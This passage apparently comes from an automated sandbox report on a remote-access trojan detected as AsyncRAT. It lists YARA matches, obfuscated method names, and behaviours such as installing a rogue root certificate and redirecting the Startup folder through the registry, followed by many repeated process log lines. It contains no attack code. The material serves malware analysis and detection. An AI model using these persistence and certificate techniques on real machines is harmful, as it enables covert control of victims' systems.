Source: 19.2.powershell.exe.25701854fd0.5.raw.unpack, BGdjDDpgXZdI.cs	High entropy of concatenated method names: 'VvznAZMSelWH', 'rZtkoDGEuzAf', 'NqXffOYeALLeoVmZl', 'cqhTNJjvrwLmZ', 'XAUzuNIIifMSBkBnA', 'aqMTzLLmknnK', 'opHXlstebrMYzK', 'vTYYhyfeTSN', 'QsBrxZsssig', 'OlbygUKhPPgbra'
Source: 19.2.powershell.exe.25701854fd0.5.raw.unpack, TUsMcMDxLo.cs	High entropy of concatenated method names: 'CqnoGKqodh', 'SdYLFIZlxIrMD', 'NPukkKbqHQkAA', 'kQvJJnzylSR', 'dkNHbIsXjTEa', 'DqFabvntiuwcPmpJt', 'NoVTeUWwRrrordIQ', 'deTFpRPLpi', 'FcaBKFLMUTtkJ', 'xZLyKkTQEHR'

Persistence and Installation Behavior

Installs new ROOT certificates

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob			Jump to behavior

Boot Survival

Yara detected AsyncRAT

Source: Yara match	File source: 21.2.aspnet_compiler.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.powershell.exe.25702485170.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.powershell.exe.257018be6f0.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.powershell.exe.25702485170.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.powershell.exe.25701854fd0.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.powershell.exe.25701854fd0.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.powershell.exe.25701870610.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.powershell.exe.257018be6f0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.powershell.exe.25701870610.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000015.00000002.3894017282.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.1753014941.0000025703E64000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.1753014941.0000025702269000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.1753014941.0000025701869000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.1753014941.00000257013AA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 1012, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: aspnet_compiler.exe PID: 6676, type: MEMORYSTR

Creates an undocumented autostart registry key

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob

Jump to behavior

Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
